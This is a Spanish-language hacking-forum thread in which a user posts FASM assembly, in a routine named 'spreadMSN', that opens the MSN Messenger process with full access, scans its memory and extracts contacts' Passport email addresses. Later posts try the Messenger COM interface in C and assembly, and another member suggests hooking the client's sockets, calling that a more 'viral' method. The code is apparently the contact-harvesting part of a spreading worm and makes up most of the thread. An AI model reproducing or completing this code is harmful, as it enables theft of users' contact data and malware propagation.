Autor
|
Tema: ASM y MSN (Leído 8,033 veces)
|
c4st0r
Desconectado
Mensajes: 33
|
Hola muy buenas a todos, a ver si algunos de ustedes me podian sugerir como podemos controlar el MSn desde el fasm asi como lo hace C con una libreria, si tengo que hacerme una libreria o si se les ocurre alguna otra manera. Yo he logrado sacar los contactos abriendo el proceso del Messenger y leyendo en todos sus bloques de memoria extrayendolos pero se demora bastante. Aqui les dejor lo que hice, siento mucho que el code no este comentado y que sea tan lioso ya que no me gusta usar estructuras. Esta probado en el MSN live y funciona, en otras versiones no ;#################################### ;# # ;# Made by c4st0r xD # ;# # ;####################################
format PE GUI 4.0 include 'win32a.inc' include 'macro/if.inc' ;MEMORY_BASIC_INFORMATION ' 28 bytes ; BaseAddress As Long ; AllocationBase As Long ; AllocationProtect As Long ; RegionSize As Long ; State As Long ; Protect As Long ; lType As Long
;SYSTEM_INFO ' 36 Bytes ; dwOemID As Long ; dwPageSize As Long ; lpMinimumApplicationAddress As Long ; lpMaximumApplicationAddress As Long ; dwActiveProcessorMask As Long ; dwNumberOrfProcessors As Long ; dwProcessorType As Long ; dwAllocationGranularity As Long ; wProcessorLevel As Integer ; wProcessorRevision As Integer
spreadMSN: invoke LocalAlloc, LPTR, 7500 ; memoria suficiente para las 3 estructuras y los correos ; SYSTEM_INFO MEMORY_BASIC_INFORMATION + struct de CreateTool... mov dword[eax], 296 mov ebx, eax invoke CreateToolhelp32Snapshot, 15, 0; TH32CS_SNAPALL mov esi, eax mov edi, ebx add edi, 36 bucle: invoke Process32Next, esi, ebx cmp eax, 0 je @next invoke lstrstr, edi, msnmsgr cmp eax, 0 je bucle invoke CloseHandle, esi invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword[ebx+8] mov edi, eax ; edi handle del proceso abierto invoke GetSystemInfo, ebx ;SYSTEM_INFO ScanMemory: mov ecx, dword[ebx+12] .while dword[ebx+8] < ecx ; si.lpMinimumApplicationAddress < si.lpMaximumApplicationAddress mov dword[ebx+36+12], 0 mov esi, ebx add esi, 36 invoke VirtualQueryEx, edi, dword[ebx+8], esi, 28 .if eax = 28 .if dword[ebx+36+24] = MEM_PRIVATE | dword[ebx+36+16] = MEM_COMMIT .if dword[ebx+36+12] > 0 invoke LocalAlloc, LPTR, dword[ebx+36+12] mov esi, eax invoke ReadProcessMemory, edi, dword[ebx+36], esi, dword[ebx+36+12], 0 .if eax <> 0 mov ecx, dword[ebx+36+12] mov edx, esi .while ecx <> 0 .if dword[edx] = '|Pas' .if dword[edx+4] = 'spor' .if word[edx+8] = 't|' add edx, 10 mov al, '(' mov cl, 50 pushad mov edi, edx repne scasb mov byte[edi-1], 0 xor eax, eax mov al, 50 sub al, cl mov esi, eax dec esi mov edi, ebx add edi, 36+28 mov ebx, edx invoke lstrstr, edi, edx .if eax <> 0 jmp NotCopy .endif mov al, 0 mov ecx, -1 repne scasb dec edi invoke RtlMoveMemory, edi, ebx, esi add edi, esi mov word[edi], 0x0A0D NotCopy: popad .endif .endif .endif inc edx dec ecx .endw .endif invoke LocalFree, esi .endif .endif .endif mov ecx, dword[ebx+36] add ecx, dword[ebx+36+12] mov dword[ebx+8], ecx mov ecx, dword[ebx+12] .endw EndScan: invoke CloseHandle, edi
invoke ExitProcess, 0 @next: invoke LocalFree, ebx jmp spreadMSN
msnmsgr db 'msnmsgr.exe', 0
|
|
|
En línea
|
|
|
|
c4st0r
Desconectado
Mensajes: 33
|
alguna pista please?, alguna manera de usar un libreria desde asm llevo tiempo investigando y no encuentro nada gracias
|
|
|
En línea
|
|
|
|
Arkangel_0x7C5
Desconectado
Mensajes: 361
|
ni idea, se que el messenger tiene una api, pero no se nada de ella. Si me dices como se hace en C, A lo mejor puedo decirte como hacerlo en asm
Saludos
|
|
|
En línea
|
|
|
|
|
c4st0r
Desconectado
Mensajes: 33
|
Bueno ya voy avanzando he descubierto como hacerlo en fasm la creacion de objetos, a ver si alguien se anima , estoy viendo como puedo crear una especie de libreria solo para el evento de sacar los contactos, o alguna forma de poder interactuar con una libreria, aunque parece que hay que crearse una propia... format PE GUI 4.0 entry start
include 'win32a.inc'
macro comcall object,proc,[arg] { common if ~ arg eq reverse pushd arg common end if mov eax,[object#.#handle] push eax mov eax,[eax] call [eax+object#.#proc] }
struc GUID d1,d2,d3,d4,d5 { .Data1 dd 0x#d1 .Data2 dw 0x#d2 .Data3 dw 0x#d3 .Data4 db 0x#d4 shr 8,0x#d4 and 0FFh .Data5 db 0x#d5 shr 40,0x#d5 shr 32 and 0FFh,0x#d5 shr 24 and 0FFh,0x#d5 shr 16 and 0FFh,0x#d5 shr 8 and 0FFh,0x#d5 and 0FFh }
struc ITaskBarList { .handle dd ? virtual at 0 .QueryInterface dd ? .AddRef dd ? .Release dd ? .HrInit dd ? .AddTab dd ? .DeleteTab dd ? .ActivateTab dd ? .SetActiveAlt dd ? end virtual }
CLSCTX_INPROC_SERVER = 0x1 CLSCTX_INPROC_HANDLER = 0x2 CLSCTX_LOCAL_SERVER = 0x4 CLSCTX_INPROC_SERVER16 = 0x8 CLSCTX_REMOTE_SERVER = 0x10 CLSCTX_INPROC_HANDLER16 = 0x20 CLSCTX_INPROC_SERVERX86 = 0x40 CLSCTX_INPROC_HANDLERX86 = 0x80 CLSCTX_ESERVER_HANDLER = 0x100 CLSCTX_NO_CODE_DOWNLOAD = 0x400 CLSCTX_NO_CUSTOM_MARSHAL = 0x1000 CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000 CLSCTX_NO_FAILURE_LOG = 0x4000 CLSCTX_DISABLE_AAA = 0x8000 CLSCTX_ENABLE_AAA = 0x10000 CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000
ID_EXIT = 0 ID_SHOW = 1 ID_HIDE = 2
IDD_COMDEMO = 1
section '.data' data readable writeable
CLSID_TaskbarList GUID 56FDF344,FD6D,11D0,958A,006097C9A090 IID_ITaskbarList GUID 56FDF342,FD6D,11D0,958A,006097C9A090
ShellTaskBar ITaskBarList
section '.code' code readable executable
start:
invoke CoInitialize,NULL invoke CoCreateInstance,CLSID_TaskbarList,NULL,CLSCTX_INPROC_SERVER,IID_ITaskbarList,ShellTaskBar
invoke GetModuleHandle,0 invoke DialogBoxParam,eax,IDD_COMDEMO,HWND_DESKTOP,COMDemo,0
comcall ShellTaskBar,Release
invoke ExitProcess,0
proc COMDemo,hwnd,msg,wparam,lparam push ebx esi edi cmp [msg],WM_INITDIALOG je wminitdialog cmp [msg],WM_COMMAND je wmcommand cmp [msg],WM_CLOSE je wmclose xor eax,eax jmp finish wminitdialog: jmp processed wmcommand: cmp [wparam],BN_CLICKED shl 16 + ID_EXIT je wmclose cmp [wparam],BN_CLICKED shl 16 + ID_SHOW je show cmp [wparam],BN_CLICKED shl 16 + ID_HIDE jne processed hide: comcall ShellTaskBar,HrInit comcall ShellTaskBar,DeleteTab,[hwnd] jmp processed show: comcall ShellTaskBar,HrInit comcall ShellTaskBar,AddTab,[hwnd] comcall ShellTaskBar,ActivateTab,[hwnd] jmp processed wmclose: invoke EndDialog,[hwnd],0 processed: mov eax,1 finish: pop edi esi ebx return endp
section '.idata' import data readable
library kernel,'KERNEL32.DLL',\ user,'USER32.DLL',\ ole,'OLE32.DLL'
import kernel,\ GetModuleHandle,'GetModuleHandleA',\ ExitProcess,'ExitProcess'
import user,\ DialogBoxParam,'DialogBoxParamA',\ EndDialog,'EndDialog'
import ole,\ CoInitialize,'CoInitialize',\ CoCreateInstance,'CoCreateInstance'
section '.rsrc' resource data readable
directory RT_DIALOG,dialogs
resource dialogs,\ IDD_COMDEMO,LANG_ENGLISH+SUBLANG_DEFAULT,comdemo
dialog comdemo,'COM demonstration',70,70,170,24,WS_CAPTION+WS_POPUP+WS_SYSMENU+DS_MODALFRAME dialogitem 'BUTTON','Show',ID_SHOW,4,4,45,15,WS_VISIBLE+WS_TABSTOP dialogitem 'BUTTON','Hide',ID_HIDE,54,4,45,15,WS_VISIBLE+WS_TABSTOP dialogitem 'BUTTON','Exit',ID_EXIT,120,4,45,15,WS_VISIBLE+WS_TABSTOP enddialog
; Extraido de http: // board.flatassembler.net/index.php
http://board.flatassembler.net/topic.php?t=553
|
|
« Última modificación: 19 Abril 2009, 06:09 am por c4st0r »
|
En línea
|
|
|
|
c4st0r
Desconectado
Mensajes: 33
|
No hay mucha motivacion con el tema, hoy me h epuesto de nuevo a investigar sin mucho exito , el CoCreateInstance me da error y creo que las constantes las he puesto bien format PE GUI 4.0 include 'win32ax.inc'
macro comcall object,proc,[arg] { common if ~ arg eq reverse pushd arg common end if mov eax,[object#.#handle] push eax mov eax,[eax] call [eax+object#.#proc] }
invoke LocalAlloc, LPTR, 1000000; suficiente memoria para la interfaz IMessenger ; ya que no se el tamaño que tendra mov ebx, eax invoke CoInitialize,NULL invoke CoCreateInstance,CLSID_Messenger,NULL,23,\; 23 = CLSCTX_ALL IID_IMessenger,ebx ;eax = 0x80040154 deberia de dar 0 :-(
struc GUID d1,d2,d3,d4,d5 { .Data1 dd 0x#d1 .Data2 dw 0x#d2 .Data3 dw 0x#d3 .Data4 db 0x#d4 shr 8,0x#d4 and 0FFh .Data5 db 0x#d5 shr 40,0x#d5 shr 32 and 0FFh,0x#d5 shr 24 and 0FFh,0x#d5 shr 16 and 0FFh,0x#d5 shr 8 and 0FFh,0x#d5 and 0FFh }
IID_IMessenger GUID 0D50C3186,0F89,48f8,0B204,3604629DEE10 CLSID_Messenger GUID 0B69003B3,0C55E,4b48,836C,0BC5946FC3B28
data import library kernel32, 'kernel32.dll',\ ole32, 'ole32.dll'
import ole32, CoInitialize, 'CoInitialize',\ CoCreateInstance, 'CoCreateInstance'
include 'API\KERNEL32.INC' end data
|
|
|
En línea
|
|
|
|
Arkangel_0x7C5
Desconectado
Mensajes: 361
|
yo la verdad es que nunca tuve que travajar con los objetos COM.
Lo lo que abria echo seria un metodo mas vírico jeje Abria intentado hacerle un gancho a el msn, en los Soker. y como tiene que ir comprovandolos de vez en cuando. O si no aprovechando que ya estaria logueado por estar dentro del proceso del msn, le pediria al server los contactos
Saludos
|
|
|
En línea
|
|
|
|
c4st0r
Desconectado
Mensajes: 33
|
Bueno en C asi funciona #include <windows.h> #include <objbase.h> #include <stdio.h> #include <conio.h>
const GUID IID_IMessenger = {0xd50c3186,0x0f89,0x48f8,{0xb2,0x04,0x36,0x04,0x62,0x9d,0xee,0x10}};
const GUID CLSID_Messenger = {0xb69003b3,0xc55e,0x4b48,{0x83,0x6c,0xbc,0x59,0x46,0xfc,0x3b,0x28}};
int main(int argc, char* argv[]) { HRESULT hr; IUnknown* pMsgr;
CoInitialize(0); hr = CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_LOCAL_SERVER, IID_IMessenger, (void**)&pMsgr); printf("CreateInstance=%u=0x%X\n", hr, hr); if (pMsgr) { pMsgr->Release(); } CoUninitialize();
printf("Try to exit messenger now.\n"); _getch(); return 0; }
pero en ASM seguimos en las mismas format PE GUI 4.0 include 'win32ax.inc'
invoke CoInitialize,NULL invoke CoCreateInstance,CLSID_Messenger,NULL,\ CLSCTX_LOCAL_SERVER,\ IID_IMessenger,pMsgr
struc GUID def { match d1-d2-d3-d4-d5, def \{ .Data1 dd 0x\#d1 .Data2 dw 0x\#d2 .Data3 dw 0x\#d3 .Data4 db 0x\#d4 shr 8,0x\#d4 and 0FFh .Data5 db 0x\#d5 shr 40,0x\#d5 shr 32 and 0FFh,\ 0x\#d5 shr 24 and 0FFh,\ 0x\#d5 shr 16 and 0FFh,\ 0x\#d5 shr 8 and 0FFh,0x\#d5 and 0FFh \} }
; ....................................... struct IUnknown QueryInterface dd ? AddRef dd ? Release dd ? ends ; ........................................
CLSCTX_LOCAL_SERVER = 0x4 IID_IMessenger GUID D50C3186-0F89-48f8-B204-3604629DEE10 CLSID_Messenger GUID B69003B3-C55E-4b48-836C-BC5946FC3B28 pMsgr IUnknown ?
data import library kernel32, 'kernel32.dll',\ ole32, 'ole32.dll'
import ole32, CoInitialize, 'CoInitialize',\ CoCreateInstance, 'CoCreateInstance'
include 'API\KERNEL32.INC' end data
pero creo que cada vez falta menos
|
|
« Última modificación: 26 Abril 2009, 00:49 am por c4st0r »
|
En línea
|
|
|
|
|
c4st0r
Desconectado
Mensajes: 33
|
El code de C funciona perfecto El de ASM me este error el OLLY ERROR_NO_TOKEN (000003F0)
|
|
|
En línea
|
|
|
|
|
|